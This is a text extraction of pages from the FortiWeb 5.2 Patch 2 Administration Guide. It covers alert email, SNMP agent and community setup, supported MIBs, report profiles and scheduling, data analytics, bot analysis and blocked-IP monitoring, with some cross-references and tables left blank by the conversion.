Read and Write permission to items in the Log & Report category. For details, see
2. Configure these settings:
Fortinet
Setting name
Description
Alert Mail
Enable to generate alert email when log messages are created.
Distribution of alert email is controlled by email policies and trigger actions associated with various types of violations. If this option is enabled, but a trigger action is not selected for a specific type of violation, every occurrence of that violation will result in an alert email to the individuals associated with the policy selected in the
Note: Alert email are not sent for traffic logs.
Note: Before enabling this option, verify that log frequency is not too great. If logs are very frequent, enabling this option could decrease performance and cause the FortiWeb appliance to send you many alert email messages.
Email Policy Select the email settings to use for alert emails. For more information see
“Configuring email settings” on page 608 .
3. Click Apply.
611 FortiWeb 5.2 Patch 2 Administration Guide
See also
•
•
•
•
Enabling log types, packet payload retention, & resource shortage alerts
•
•
•
Configuring FortiAnalyzer policies
•
•
Obscuring sensitive data in the logs
SNMP traps & queries
System > Config > SNMP enables you to configure the FortiWeb appliance’s simple network management protocol (SNMP) agent to allow queries for system information and to send traps
(alarms or event messages) to the computer that you designate as its SNMP manager. In this way you can use an SNMP manager to monitor the FortiWeb appliance.
Before you can use SNMP, you must activate the FortiWeb appliance’s SNMP agent and add it as a member of at least one community. You must also enable SNMP access on the network
On the SNMP manager, you must also verify that the SNMP manager is a member of the community to which the FortiWeb appliance belongs, and compile the necessary
Fortinet-proprietary management information blocks (MIBs) and Fortinet-supported standard
MIBs. For information on MIBs, see
Failure to configure the SNMP manager as a host in a community to which the FortiWeb appliance belongs, or to supply it with required MIBs, will make the SNMP monitor unable to query or receive traps from the FortiWeb appliance.
To configure the SNMP agent
1. Add the MIBs to your SNMP manager so that you will be able to receive traps and perform queries. For instructions, see the documentation for your SNMP manager.
2. Go to System > Config > SNMP.
To access this part of the web UI, your administrator's account access profile must have
Read and Write permission to items in the System Configuration category. For details, see
Fortinet 612 FortiWeb 5.2 Patch 2 Administration Guide
3. Configure the following:
Fortinet
Setting name
SNMP Agent
Description
Location
Contact
Description
Enable to activate the SNMP agent, so that the FortiWeb appliance can send traps and receive queries for the communities in which you enabled queries and traps.
For more information on communities, see
“Configuring an SNMP community” on page 614
.
Type a comment about the FortiWeb appliance, such as dont-reboot
. The description can be up to 35 characters long, and can contain only letters (a-z, A-Z), numbers, hyphens ( - ) and underscores ( _ ).
Type the physical location of the FortiWeb appliance, such as floor2
. The location can be up to 35 characters long, and can contain only letters (a-z, A-Z), numbers, hyphens ( - ) and underscores ( _ ).
Type the contact information for the administrator or other person responsible for this FortiWeb appliance, such as a phone number
(555-5555) or name (jdoe). The contact information can be up to
35 characters long, and can contain only letters (a-z, A-Z), numbers, hyphens ( - ) and underscores ( _ ).
4. Click Apply.
5. Create at least one SNMP community to define which hosts are allowed to query, and which
hosts will receive traps. See “Configuring an SNMP community”
.
See also
•
Configuring the network interfaces
•
•
613 FortiWeb 5.2 Patch 2 Administration Guide
Configuring an SNMP community
An SNMP community is a grouping of equipment for network administration purposes. You must configure your FortiWeb appliance to belong to at least one SNMP community so that community’s SNMP managers can query the FortiWeb appliance’s system information and receive SNMP traps from the FortiWeb appliance.
On FortiWeb, SNMP communities are also where you enable the traps that will be sent to that group of hosts.
You can add up to three SNMP communities. Each community can have a different configuration for queries and traps, and the set of events that trigger a trap. You can also add the IP addresses of up to eight SNMP managers to each community to designate the destination of traps and which IP addresses are permitted to query the FortiWeb appliance.
To add an SNMP community to the FortiWeb appliance’s SNMP agent
1. Go to System > Config > SNMP.
To access this part of the web UI, your administrator's account access profile must have
Read and Write permission to items in the System Configuration category. For details, see
2. If you have not already configured the agent, do so before continuing. See “To configure the
SNMP agent” on page 612 .
3. Click Create New.
A dialog appears.
Fortinet 614 FortiWeb 5.2 Patch 2 Administration Guide
4. Configure these settings:
Setting name
Community
Name
Description
Type the name of the SNMP community to which the FortiWeb appliance and at least one SNMP manager belongs, such as public.
The FortiWeb appliance will not respond to SNMP managers whose query packets do not contain a matching community name. Similarly, trap packets from the FortiWeb appliance will include community name, and an SNMP manager may not accept the trap if its community name does not match.
Caution: Fortinet strongly recommends that you do not add FortiWeb to the community named public. This popular default name is well-known, and attackers that gain access to your network will often try this name first.
Fortinet 615 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Hosts
Description
IP Address
Type the IP address of the SNMP manager that, if traps or queries are enabled in this community:
• will receive traps from the FortiWeb appliance
• will be permitted to query the FortiWeb appliance
SNMP managers have read-only access.
To allow any IP address using this SNMP community name to query the
FortiWeb appliance, enter 0.0.0.0. For security best practice reasons, however, this is not recommended.
Caution: FortiWeb sends security-sensitive traps, which should be sent only over a trusted network, and only to administrative equipment.
Note: If there are no other host IP entries, entering only 0.0.0.0 effectively disables traps because there is no specific destination for trap packets. If you do not want to disable traps, you must add at
least one other entry that specifies the IP address of an SNMP manager. You can add up to 8 SNMP managers.
Interface
Select either ANY or the name of the network interface from which the
FortiWeb appliance will send traps and reply to queries.
Note: You must select a specific network interface (e.g. port1, not ANY) if the SNMP manager is not on the same subnet as the FortiWeb appliance. This can occur if the SNMP manager is on the Internet or behind a router.
Note: This option only configures which network interface will send
SNMP traps. To configure which network interface will receive queries, see
“Configuring the network interfaces” on page 121
.
Queries
Traps
Type the port number (161 by default) on which the FortiWeb appliance listens for SNMP queries from the SNMP managers in this community, then enable queries for either or both SNMP v1 and SNMP v2c.
For supported queries, see the FortiWeb MIB file and “MIB support” on page 618 .
Type the port number (162 by default) that will be the source (Local) port number and destination (Remote) port number for trap packets sent to
SNMP managers in this community, then enable traps for either or both
SNMP v1 and SNMP v2c.
616 FortiWeb 5.2 Patch 2 Administration Guide
5. Enable traps for the SNMP events that you want FortiWeb to notify your SNMP managers.
Fortinet
While most trap events are described by their names, the following events occur when a threshold has been exceeded:
• CPU usage is high — CPU usage has exceeded 80%.
• Memory usage is high — Memory (RAM) usage has exceeded 80%.
• Log disk space low — Disk space usage for the log partition/disk has exceeded 90%.
For more information on supported traps and queries, see
.
Click OK.
6. To verify your SNMP configuration and network connectivity between your SNMP manager and your FortiWeb appliance, be sure to test both traps and queries (assuming you have enabled both). Traps and queries typically occur on different port numbers, and therefore verifying one does not necessarily verify that the other is also functional. To test queries, from your SNMP manager, query the FortiWeb appliance. To test traps, cause one of the events that should trigger a trap.
617 FortiWeb 5.2 Patch 2 Administration Guide
MIB support
The FortiWeb SNMP agent supports a few management information blocks (MIBs).
Table 55: Supported MIBs
MIB or RFC Description
Fortinet Core MIB
This Fortinet-proprietary MIB enables your SNMP manager to query for system information and to receive traps that are common to multiple
Fortinet devices.
FortiWeb MIB
This Fortinet-proprietary MIB enables your SNMP manager to query for
FortiWeb-specific information such as the utilization of each CPU, and to receive FortiWeb-specific traps, such as when an attack is detected by a signature.
RFC-1213 (MIB II)
The FortiWeb SNMP agent supports MIB II groups, except:
• There is no support for the EGP group from MIB II ( RFC 1213 , section 3.11 and 6.10).
• Protocol statistics returned for MIB II groups (IP, ICMP, TCP, UDP, and so on.) do not accurately capture all FortiWeb traffic activity.
More accurate information can be obtained from the information reported by the FortiWeb MIB.
RFC-2665
(Ethernet-like MIB)
The FortiWeb SNMP agent supports Ethernet-like MIB information, except the dot3Tests and dot3Errors groups.
You can obtain these MIB files from the Fortinet Technical Support web site, https://support.fortinet.com/ .
To communicate with your FortiWeb appliance’s SNMP agent, you must first compile these
MIBs into your SNMP manager. If the standard MIBs used by the SNMP agent are already compiled into your SNMP manager, you do not have to compile them again.
To view a trap or query’s name, object identifier (OID), and description, open its MIB file in a plain text editor.
All traps sent include the message, the FortiWeb appliance’s serial number, and host name.
For instructions on how to configure traps and queries, see
“SNMP traps & queries” on page 612 .
See also
•
Reports
FortiWeb can generate reports based upon:
• auto-learning data collected by policies (see
)
• traffic statistics collected by policies (see
and “Bot analysis” on page 638
)
• attack, event, and traffic log messages
• vulnerability scans for PCI compliance
Fortinet 618 FortiWeb 5.2 Patch 2 Administration Guide
When generating a log-based or scan-based report, FortiWeb appliances collate information collected from log files and scan results, and present the information in tabular and graphical format.
Before it can generate a report, in addition to log files and scan results, FortiWeb appliances require a report profile in order to generate a report. A report profile is a group of settings that contains the report name, file format, subject matter, and other aspects that the FortiWeb appliance considers when generating the report.
FortiWeb appliances can generate reports automatically, according to the schedule that you configure in the report profile, or manually, when you click the Run now icon in the report profile list.
Generating reports can be resource intensive. To avoid traffic processing performance impacts, you may want to generate reports during times with low traffic volume, such as at night or weekends. For more information on scheduling the generation of reports, see
“Scheduling reports” on page 628
. To determine the current traffic volume, see “Real Time Monitor widget” on page 567 .
Consider sending reports to your web developers to provide feedback. If your organization develops web applications in-house, this can be a useful way to quickly provide them information on how to improve the security of the application.
To configure a report profile
1. Before you generate a report, collect log data and/or vulnerability scan data that will be the basis of the report. For information on enabling logging to the local hard disk, see
“Configuring logging” on page 575
and “Vulnerability scans” on page 533
.
2. Go to Log&Report > Report Config > Report Config.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Log & Report category. For details, see
3. Click Create New.
A dialog appears.
Fortinet
4. In Report Name, type the name of the report as it will be referenced in the configuration. The name cannot contain spaces.
619 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
5. If you are creating a new report profile, select from Type either to run the report immediately after configuration (On Demand) or run the report at configured intervals (On Schedule). This cannot be changed later.
For on-demand reports, the FortiWeb appliance does not save the report profile after the generating the report. If you want to save the report profile, but do not want to generate the report at regular intervals, select On Schedule, but then in the Schedule section, select Not
Scheduled.
6. In Report Title, type a display name that will appear in the title area of the report. The title may include spaces.
7. In Description, type a comment or other description.
8. Click the blue expansion arrow next to each section, and configure the following:
Setting name
Properties
Report Scope
Report Types
Report Format
Schedule
Output
Description
Select to add logos, headers, footers and company information to customize the report. For more information, see
“Customizing the report’s headers, footers, & logo” on page 621
.
Select the time span of log messages from which to generate the report. You can also create a data filter to include in the report only those logs that match a set of criteria.For more information, see
“Restricting the report’s scope” on page 622
.
Select one or more subject matters to include in the report. For more information, see
“Choosing the type & format of a report profile” on page 625 .
Select the number of top items to include in ranked report subtypes, and other advanced features. For more information, see
“Choosing the type & format of a report profile” on page 625
.
Select when the FortiWeb appliance will run the report, such as
weekly or monthly. For more information, see “Scheduling reports” on page 628 .
This section is available only if Type is On Schedule.
Select the file formats and destination email addresses, if any, of reports generated from this report profile. For more information, see
“Selecting the report’s file type & email delivery” on page 628 .
9. Click OK.
On-demand reports are generated immediately. Scheduled reports are generated at intervals
To generate a report immediately
1. Mark the check box of the report.
2. Click Run now.
620 FortiWeb 5.2 Patch 2 Administration Guide
See also
•
Customizing the report’s headers, footers, & logo
•
Restricting the report’s scope
•
Choosing the type & format of a report profile
•
•
Selecting the report’s file type & email delivery
Customizing the report’s headers, footers, & logo
When configuring a report profile, you can provide text and logos to customize the appearance of reports generated from the profile.
Fortinet
Setting name Description
Company Name
Type the name of your company or other organization.
Header
Comment
Type a title or other information to include in the header.
Footer Comment Select which information to include in the footer:
• Report Title — Use the text from Report Name.
• Custom — Use other text that you type into the field to the right of this option.
Title Page Logo
Select No Logo to omit the title page logo.
Select Custom to include a logo, then click Select to locate the logo file, and click Upload to save it to the FortiWeb appliance’s hard disk for use in the report title page. See “To upload a logo file” .
Header Logo
Select No Logo to omit the header logo.
Select Custom to include a logo, then click Select to locate the logo file, and click Upload to save it to the FortiWeb appliance’s hard disk for use in the report header. The header logo will appear on every page in PDF- and
Microsoft Word (RTF)-formatted reports, and at the top of the page in
HTML-formatted reports.
To upload a logo file
1. Expand the Properties section of the Log Report Config dialog. (See
“To configure a report profile” on page 619
.)
2. Select the Custom option of either Title Page Logo or Header Logo.
3. Click the Select link.
A dialog appears.
4. Click Browse and locate the logo file on your computer.
621 FortiWeb 5.2 Patch 2 Administration Guide
5. Click Upload.
A rendering of the logo appears in the dialog.
6. Select the logo and click OK.
The name of the logo appears next to Custom on the Log Report Config.
When adding a logo to the report, select a logo file format that is compatible with your selected file format outputs. If you select a logo that is not supported for a file format, the logo will not appear in that output. For example, if you provide a logo graphic in WMF format, it will not appear in PDF or HTML output.
Table 56: Report file formats and their supported logo file formats
PDF reports
RTF reports
HTML reports
JPG, PNG, GIF
JPG, PNG, GIF, WMF
JPG, PNG, GIF
To delete a logo file
1. Expand the Properties section of the Log Report Config dialog. (See
“To configure a report profile” on page 619
.)
2. Click the Select link beside the logo name you want to remove in either Title Page Logo or
Header Logo.
A dialog appears.
3. Select the logo to remove.
4. Click Delete.
Restricting the report’s scope
When configuring a report profile, you can select the time span of log messages from which to generate the report. You can also filter out log messages that you do not want to include in the
Fortinet 622 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Time Period
Description
Select the time span of the report, such as This Month or Last N
Days.
Alternatively, select and configure
From Date
and
To Date
.
From Date
Hour
Past N Hours
Past N Days
Past N Weeks
Enter the number N of the appliance of time.
This option appears only when you have selected Last N Hours,
Last N Days, or Last N Weeks from Time Period, and therefore must define N.
Select and configure the beginning of the time span. For example, you may want the report to include log messages starting from
May 5, 2006 at 6 PM. You must also configure
To Date
.
623 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
To Date
Hour
Source(s)
Description
Select to configure the end of the time span. For example, you may want the report to include log messages up to May 6, at 12 AM. You must also select and configure
From Date
.
Select this option to include all log messages within the time span.
None
Include logs that match the following criteria
Select this option to include only the log messages whose values match your filter criteria, such as
messages must meet every other configured criteria (all) or if meeting any one of them is sufficient (any) to be included.
To exclude the log messages which match a criterion, mark its not check box, located on the right-hand side of the criterion.
Criteria are the fields of log messages. For more information on log messages, see the
FortiWeb Log Reference
.
Priority
Mark the check box to filter by log severity threshold (in raw logs, the pri field), then select the name of the severity, such as
Emergency, and whether to include logs that are greater than or equal to (>=), equal to (=), or less than or equal to (<=) that severity.
Type the source IP address (in raw logs, the src field) that log messages must match.
Note: Source(s) may be the IP address according to an HTTP header such as X-Forwarded-For: instead of the SRC at the IP layer. See
“Defining your proxies, clients, & X-headers” on page 281 .
Destination(s) Type the destination IP address (in raw logs, the dst field) that log messages must match.
Http
Method(s)
User(s)
Type the HTTP method (in raw logs, the http_method field) that log messages must match, such as get or post.
Type the administrator account name (in raw logs, the user field) that log messages must match, such as admin.
Action(s)
Subtype(s)
Type the action (in raw logs, the action field) that log messages must match, such as login or Alert.
Type the subtype (in raw logs, the subtype field) that log messages must match, such as waf_information.
Policy(s)
Service(s)
Type the policy name (in raw logs, the policy field) that log messages must match.
Type the service name (in raw logs, the src field) that log messages must match, such as http or https.
Message(s)
Type the message (in raw logs, the msg field) that log messages must match.
Signature
Subclass
Type(s)
Type the signature subclass type (in raw logs, the signature_subclass field) that log messages must match.
624 FortiWeb 5.2 Patch 2 Administration Guide
Setting name
Signature
ID(s)
Description
Type the signature ID value (in raw logs, the signature_id field) that log messages must match.
Source
Country(s)
Type the source country value (in raw logs, the srccountry field) that log messages must match.
Day of Week Mark the check boxes for the days of the week whose log messages you want to include.
Choosing the type & format of a report profile
When configuring a report profile, you can select one or more queries or query groups that define the subject matter of the report.
When configuring a report profile, you can configure various advanced options that affect how many log messages are used to formulate ranked report subtypes, and how results will be displayed.
Fortinet 625 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Report Types
Report Format
Include reports with no matching data
Enable to include reports for which there is no data. A blank report will appear in the summary. You might enable this option to verify inclusion of report types selected in the report profile when filter criteria or absent logs would normally cause the report type to be omitted.
Advanced
Description
Each query group contains multiple individual queries, each of which correspond to a chart that will appear in the generated report. You can select all queries within the group by marking the check box of the query group, or you can expand the query group and then individually select each query that you want to include:
• PCI Reports
• Attack Activity
• Traffic Activity
• Event activity
For example:
• If you want the report to include charts about both normal traffic and attacks, you might enable both of the query groups Attack Activity and Event Activity.
• If you want the report to specifically include only a chart about top system event types, you might expand the query group Event Activity, then enable only the individual query Top Event Types.
626 FortiWeb 5.2 Patch 2 Administration Guide
Setting name
In ‘Ranked
Reports’ show top
Description
Ranked reports (top x, or top y of top x) can include a different number of results per cross-section, then combine remaining results under “Others.” For example, in Top Sources By Top
Destination, the report includes the top x destination IP addresses, and their top y source IP addresses, then groups the remaining results. You can configure both x and y in the
Advanced section of Report Format
In ranked reports, (“top x” report types, such as Top Attack
Type), you can specify how many items from the top rank will be included in the report. For example, you could set the Top
Attack URLs report to include up to 30 of the top x denied
URLs by entering 30 for values of the first variable 1.. 30.
Some ranked reports rank not just one aspect, but two, such as Top Sources By Top Destination: this report ranks top source IP addresses for each of the top destination IP addresses. For these double ranked reports, you can also configure the rank threshold of the second aspect by entering the second threshold in values of the second variable for each
value of the first variable 1..30.
Note: Reports that do not include “Top” in their name display all results. Changing the ranked reports values will not affect these reports.
values of the first variable 1.. 30
Type the value of x.
values of the second variable for each value of the first variable
1.. 30
Type the value of y.
This value is only considered if the report rankings are nested
(i.e. top y of top x).
Enable to include a listing of the report profile settings.
Include Summary
Information
Include Table of
Contents
Enable to include a table of contents for the report.
Fortinet 627 FortiWeb 5.2 Patch 2 Administration Guide
Scheduling reports
When configuring a report profile, you can select whether the FortiWeb appliance will generate the report on demand or according to the schedule that you configure. (To start at the beginning
of the report configuration instructions, see “To configure a report profile” on page 619
.)
Generating reports can be resource-intensive. To improve performance, schedule reports during times when traffic volume is low, such as at night or during weekends. To determine the
current traffic volumes, see “Real Time Monitor widget” on page 567 .
Fortinet
Setting name
Schedules
Description
Not Scheduled Select if you do not want the FortiWeb appliance to generate the report automatically according to a schedule.
If you select this option, the report will only be generated on demand, when you manually click the Run now icon from the
report profile list. For more information, see “Reports” on page 618 .
Time
Daily
These Days
Select to generate the report each day. Also configure
Time
.
Select to generate the report on specific days of each week, then mark the check boxes for those days. Also configure
Time
.
These Dates
Select to generate the report on specific date of each month, then enter those date numbers. Separate multiple date numbers with a comma. Also configure
Time
.
For example, to generate a report on the first and 30 th
day of every month, enter 1,30.
Select the time of the day when the report will be generated.
This option does not apply if you have selected
Not Scheduled
.
Selecting the report’s file type & email delivery
When configuring a report profile, you can select one or more file formats in which to save reports generated from the profile. You can also configure the FortiWeb appliance to email the
628 FortiWeb 5.2 Patch 2 Administration Guide
reports to specific recipients. (To start at the beginning the report configuration instructions, see
“To configure a report profile” on page 619 .)
Fortinet
Setting name
File Output
Description
Enable file formats that you want to generate and store on the
FortiWeb appliance’s hard drive.
HTML file format reports will always be generated (indicated by the permanently enabled check box), but you may also choose to generate reports in:
•
• MS Word (RTF)
• plain text (Text), and
• MIME HTML (MHT, which can be included in email)
Email Output
Enable file formats that you want to generate for an email that will be mailed to the recipients defined by the email settings.
Email Policy
Select the predefined email settings that you want to associate with the report output. This determines who receives the report email.
For more information on configuring email settings, see
“Configuring email settings” on page 608
.
Subject
Type the subject line of the email.
Email Body
Type the message body of the email.
Attachment
Name
Type a file name that will be used for the attached reports.
Compress
Report Files
Enable to enclose the generated report formats in a compressed archive, as a single attachment.
629 FortiWeb 5.2 Patch 2 Administration Guide
Viewing & downloading generated reports
Log&Report > Report Browse > Report Browse displays a list of generated reports that you can view, delete, and download.
In FortiWeb HA clusters, generated reports (PDFs, HTML, RTFs, plain text, or MHT) are recorded on their originating appliance. If you cannot locate a report that should have been generated, a failover may have occurred. Reports generated during that period will be stored on the other appliance. To view those reports, switch to the other appliance.
To access this part of the web UI, your administrator’s account access profile must have Read and Write permission to items in the Log & Report category. For details, see
.
Table 57: Log&Report > Report Browse > Report Browse
Fortinet
Setting name
Refresh
(icon)
Rename
(icon)
Report Files
Started
Finished
Description
Click to refresh the display with the current list of completed, generated reports.
Select the check box next to a report and click Rename to rename it.
Displays the name of the generated report, the date and time at which it was generated, and, if necessary to distinguish it from other reports generated at that time, a sequence number.
For example, Report_1-2008-03-31-2112_018 is a report named
“Report_1”, generated on March 31, 2008 at 9:12 PM. It was the nineteenth report generated at that date and time (the first report generated at that time did not have a sequence number).
To view the report in HTML format, click the name of the report. The report appears in a pop-up window.
To view only an individual section of the report in HTML format, click the blue triangle next to the report name to expand the list of HTML files that comprise the report, then click one of the file names.
Displays the data and time when the FortiWeb appliance started to generate the report.
Displays the date and time when the FortiWeb appliance completed the generated report.
630 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Size (bytes)
Other Formats
(links)
See also
•
•
•
Displays the file size in bytes of each of the HTML files that comprise an
HTML-formatted report.
This column is empty for the overall report, and contains sizes only for its component files. To see the component files, click the blue expansion arrow.
Click the name of an alternative file format, if any were configured to be generated by the report profile, to download the report in that file format.
Data analytics
In addition to log-based reports, FortiWeb also includes data analytics to help you track web server usage from a page hit, traffic volume, and attack point of view.
See also
•
•
Configuring policies to gather data
Before data analytics can provide meaningful information, you must:
1. Upload a geographic location data file (see “Updating data analytics definitions” on page 631
).
option on any inline protection or offline protection profile used by your server policies.
3. Wait for the appliance to collect data about traffic flows.
See also
•
Configuring a protection profile for inline topologies
•
Configuring a protection profile for an out-of-band topology or asynchronous mode of operation
•
Updating data analytics definitions
•
•
Updating data analytics definitions
Similar to other signatures and definitions used by FortiWeb, you can update the geographical mappings of public IP addresses to countries used by the data analytics feature.
631 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
To update data analytics definitions
1. Download the .dat file from the Fortinet Technical Support web site: https://support.fortinet.com/
If you want to check the integrity of the .dat file, also download its checksum (.md5). For instructions on how to use it, see the documentation for your checksum software.
2. Log in to the web UI of the FortiWeb appliance as the admin administrator, or an administrator account whose access profile contains Read and Write permissions in the
Maintenance category.
3. Go to System > Maintenance > Backup & Restore.
To access this submenu, your administrator's account access profile must have Read and
Write permission to items in the Maintenance category. For details, see “Permissions” on page 52 .
4. In the Data Analytics area, click Browse.
5. Select the .dat file.
6. Click Open.
The file name appears in the From File field.
7. Click Upload.
Your browser uploads the file. A message appears to display the progress of the upload.
Time required varies by the size of the file and the speed of your network connection.
See also
•
Configuring policies to gather data
•
•
Viewing web site statistics
Log&Report > Monitor > Data Analytics displays statistics on traffic from clients internationally, web page hits, and attacks. Clients’ locations are determined by source IP address, which is then mapped to its current known location:
• A country/region, state, and city — Public IP addresses that are known to belong to routers in a specific physical location.
• Undetermined City/State — An IP address where the exact city and/or state could not be determined. This appears when zooming in to view a country. An IP with an undetermined
632 FortiWeb 5.2 Patch 2 Administration Guide
city/state can occur if complete, precise location data is not available, or perhaps if the IP address belongs to multiple regions such as can occur in border regions.
• Internal IPs — 10.*, 172.16.*, or 192.168.* addresses that are reserved for private networks according to RFC 1918, and therefore might be located anywhere on the planet.
To make sure that the mappings are correct, you should periodically update FortiWeb’s
geography-to-IP mappings. See “Updating data analytics definitions” on page 631 .
If all client IP addresses appear to originate on private networks (“Internal IPs”) and especially from a single IP, SNAT may be interfering and you may need to configure FortiWeb to deduce the client’s location using X-headers instead. See
“Defining your proxies, clients,
.
To access this part of the web UI, your administrator’s account access profile must have Read and Write permission to items in the Log & Report category. For details, see
.
The data analytics feature can be resource-intensive. To avoid impacting performance, view the data analytics report in off-peak hours.
Data analytics organizes the data collected by server policies into two distinct cross-sections.
Click the buttons on the top right corner to toggle between:
• Geographic Location View — Displays data per clients’ geographical location (e.g. Canada,
China, Portugal, Morocco, Brazil, Australia, etc.) in graphical format.
While this view is selected, a format toggle appears below the view toggle. The format toggle allows you to choose what will accompany the data analytics charts: either List (for a table of statistics by country) or Map (for a map of the Earth). To display the statistics for a country/region, hover your mouse cursor over it. The statistics will appear in a tool tip.
If you click a specific country/region on the map of the Earth, the map will zoom in to show the states within that area. Similar to the view of the entire Earth, to display statistics for a sub-region, hover your mouse cursor over it. The statistics appear in a tool tip.
If traffic from a country is predominantly attacks instead of legitimate requests, you can
block it. See “Blacklisting countries & regions” on page 350 .
Fortinet 633 FortiWeb 5.2 Patch 2 Administration Guide
Figure 70:Data analytics’ geographical location view (map)
Figure 71:Data analytics’ geographical location view (table)
Fortinet
Select either:
• Hit — Display the number of legitimate page hits, and percentage of total requests, originating from each country.
In the unlabeled column to the right of the Percentage column, icons indicate the range of
634 FortiWeb 5.2 Patch 2 Administration Guide
percentage by color-coded dots:
Red — Greater than 12%
Orange — 9% - 12%
Yellow — 6% - 9%
Blue — 3% - 6%
Green — 0% - 3%
• Data — Display the traffic volume in bytes, and percentage of total requests, originating from country.
• Attack — Display the attack count, and percentage of total requests, originating from each country.
Geographic location is based upon the apparent origin according to the source IP address of the request. Accuracy may vary due to network address translation (NAT) and/or clients’ use of proxies such as Tor and IPSec, SSH, or other VPN tunnels which alter the source IP address in packets and therefore can cause clients’ traffic to appear to originate from a location other than their actual location.
• Web Site View — Displays data about the popular URLs and commonly attempted attacks on your web sites in graphical format. The page includes a pie chart (if there is data available) and two panels with bar graphs.
Figure 72:Data analytics web site view
Fortinet
From the Type drop-down lists, select either:
• Hit — Display the top 10 countries of origin for legitimate page hits.
• Data — Display the top 10 countries of origin for traffic volume.
• Attack — Display the top 10 countries of origin for attacks.
In the Top 10 Panel, from the Category drop-down list, select either:
• Host — Display the top 10 domain names by hits, attacks, or traffic volume (depending on your selection in Type).
• URL — Display the top 10 URLs by hits, attacks, or traffic volume (depending on your selection in Type).
In the Time Trend Panel, from the Time Interval drop-down list, select a time interval (e.g.
1 Week), then click the Pre Period (previous) and Next Period buttons to advance by that
635 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet interval through the time span that you have selected in either Time Range or your custom data filter.
For example, if Type is Attack and Category is Host, the panel displays the 10 domains that received the most attack attempts. Let’s say that a trend of attacking www.example.com is consistent over time. (You could confirm this suspicion in the Time Trend Panel.) This could represent either an advanced persistent threat (APT) — an attacker that is an adversary of that specific organization, and likely to continue and attempt more evolved threats until she or he discovers a viable exploit — or it could simply be an attack attempt because security-wise, that specific web server is an easy target. Attacks on weak hosts might be discouraged by applying patches, cloaking the web server, configuring sever protection rules on FortiWeb to mitigate the host’s weaknesses, etc. An APT however, indicates a collectively greater risk than a lone attack attempt against a weak host, and will likely continue regardless of increasing attack difficulty. If you determine that the attacker(s) is an
APT, you might decide to devote more resources to protecting that web server, including a full web application source code and security practice audit, as well as configuring anti-defacement.
Both cross-sections have common controls:
• Click Refresh to re-populate the graphs with the most recent data. (The web UI displays data current at the time of the most recent refresh or page load. It does not continuously update.)
• Click Generate PDF to download a PDF copy of the current statistics.
• Select either:
• Pre-defined — Choose a time span from the Time Range drop-down list to view its statistics.
• Custom-defined — Define the domain name (Host:), URL, policy name, and/or time
span to include matching statistics. For details, see “Filtering the data analytics report” .
See also
•
Updating data analytics definitions
•
Configuring policies to gather data
•
Filtering the data analytics report
•
Filtering the data analytics report
By default, in Filter Type, the Pre-defined option is selected, and so the data analytics reports include statistics based solely upon one of a few pre-defined time periods, which you can select from Time Range.
However, you can define your own time span, as well as filter statistics based upon criteria other than time.
To create a custom statistical filter
1. Go to Log&Report > Monitor > Data Analytics.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Log & Report category. For details, see
2. Select the view to use: Web Site View or Geographic Location View.
3. From Filter Type, select the Custom-defined option.
4. Click Filter.
A dialog appears.
636 FortiWeb 5.2 Patch 2 Administration Guide
5. Configure the following criteria, if any, that a statistic must match in order to be included in the report:
Fortinet
Setting name
Policy
Host
URL
Case Sensitivity
Use Time Filter
From
To
Description
Type the name of a server policy that is gathering data for data
analytics. It must use a profile where you have enabled
. Otherwise, it will not include any statistics.
Type a domain name or IP address in the Host: field of the HTTP header of requests.
Type a URL. It usually should be a web page that initiates a session. (Session-initiating URL hit counts may more closely correlate to visit counts. For example, web application preference pages are seldom visited in a session.)
Enable to differentiate uniform resource locators (URLs) and
Host:
HTTP header fields according to upper case and lower case letters.
For example, when this option is enabled, an HTTP request involving http://www.Example.com/index would not match if
Host
is www.example.com and
URL
is /index (difference is lower case "e").
Enable to use only statistics within a specific time period, defined by
From
and
To
.
Click the calendar icon or its accompanying text field to define the date at the beginning of the time period, then select the Hour,
Minute, and Second to define the time of day.
Click the calendar icon or its accompanying text field to define the date at the end of the time period, then select the Hour, Minute, and Second to define the time of day.
637 FortiWeb 5.2 Patch 2 Administration Guide
6. Click OK.
The page refreshes and displays data restricted by the new filter. The filter applies until you either:
• In Filter Type, choose Pre-defined, then select a predefined Time Range.
• Clear the filter by clicking the Filter button to raise the dialog again, click Reset, then click
OK.
See also
•
Bot analysis
Log&Report > Monitor > Bot Analysis displays statistics on access by automated clients such as search engine indexers, content scrapers, and other tools. Statistics are gathered by
Based on this data, if an automated tool is abusing access, you can configure rate limiting such
as with “Combination access control & rate limiting” on page 343
.
Fortinet
See also
•
638 FortiWeb 5.2 Patch 2 Administration Guide
Monitoring currently blocked IPs
Log&Report > Monitor > Blocked IPs displays all client IP addresses whose requests the
FortiWeb appliance is temporarily blocking because the client violated a rule whose
Period Block. Since at any given time a period block might be applied by one server policy but
not by another, client IPs are sorted by and listed under the names of server policies.
If a client was inadvertently blocked due to a false positive, you can immediately release it from being blocked by clicking the Delete icon next to its entry in this table. (If it is being blocked by multiple policies, you should delete the client’s entry under each policy name. Otherwise, the client will still be blocked by some policies.)
Alternatively, the IP address will automatically be removed from the list when its block period expires.
If a client frequently is correctly added to the period block list, and is a suspected attacker, you may be able to improve both security and performance by permanently blacklisting that source
IP address. See
“Blacklisting & whitelisting clients using a source IP or source IP range” on page 353
and “Sequence of scans” on page 21 .
If the client is not an attacker, in addition to removing his or her IP from this list, you may need to adjust the configuration that caused the period block, such as adjusting DoS protection so that it does not block normal request rates. Otherwise, the client may quickly reappear in the period block list.
To access this part of the web UI, your administrator’s account access profile must have Read and Write permission to items in the Log & Report category. For details, see
.
See also
•
Blacklisting & whitelisting clients using a source IP or source IP range
•
Configuring a protection profile for inline topologies
•
Configuring a protection profile for an out-of-band topology or asynchronous mode of operation
FortiGuard updates
One of the most important things you can do is to ensure that your FortiWeb is receiving regular updates from the FortiGuard FortiWeb Web Security service and FortiGuard Antivirus service.
Without these updates, your FortiWeb cannot detect the newest threats.
